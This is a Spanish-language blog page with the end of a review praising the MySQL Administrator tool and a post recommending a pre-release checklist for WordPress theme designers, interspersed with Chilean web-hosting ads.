Catalogs: Para mostrar las bases de datos, visualizar, crear y editar las tablas.

Conclusión

A la base de datos MySQL le faltaba una herramienta como MySQL Administrator. No cabe duda que se trata de un programa extremadamente útil e imprescindible para administrar visualmente servidores MySQL.

Muchas de las opciones de configuración de la base de datos son muy sencillas de entender y de utilizar, por lo menos todas las opciones más básicas. En conjunto con MySQL Query Browse, nos permite gestionar cualquier aspecto de una base de datos MySQL.

Hosting MySQL PowerHost

Hosting chile maxhost y powerhost
powerhost
Rie.cl

Lista de Comprobación de Themes WordPress

Si eres diseñador de themes WordPress seguro que te vendrá de perlas esta lista de comprobación creada por WP Toy, con todo lo que tiene que tener tu theme antes de publicarlo. Es un documento en PDF que incluye todos aquellos elementos y comprobaciones que debes realizar antes de lanzarlo al público, como …

  • Opciones generales
  • Hojas de Estilo
  • Compatibilidad con navegadores
  • Páginas
  • ¿Creaste un estilo para todo?
  • Clases CSS estándar
  • Validación
  • Código WordPress
  • Elementos del sitio

Una herramienta imprescindible en tu arsenal de diseñador WordPress que puedes descargar en el sitio original, o si lo prefieres la traducción que he realizado haciendo clic en la siguiente imagen …

desarrollo-themes-lista-comprobacion-327x5001

Nota: si quieres puedes descargar la versión en hoja de cálculo en este enlace, y así modificarla a tu gusto. También, por supuesto, tienes la lista mas completa existente en el Codex.

webhosting powerhost
hosting-chile,com
Rie.cl

« Previous Entries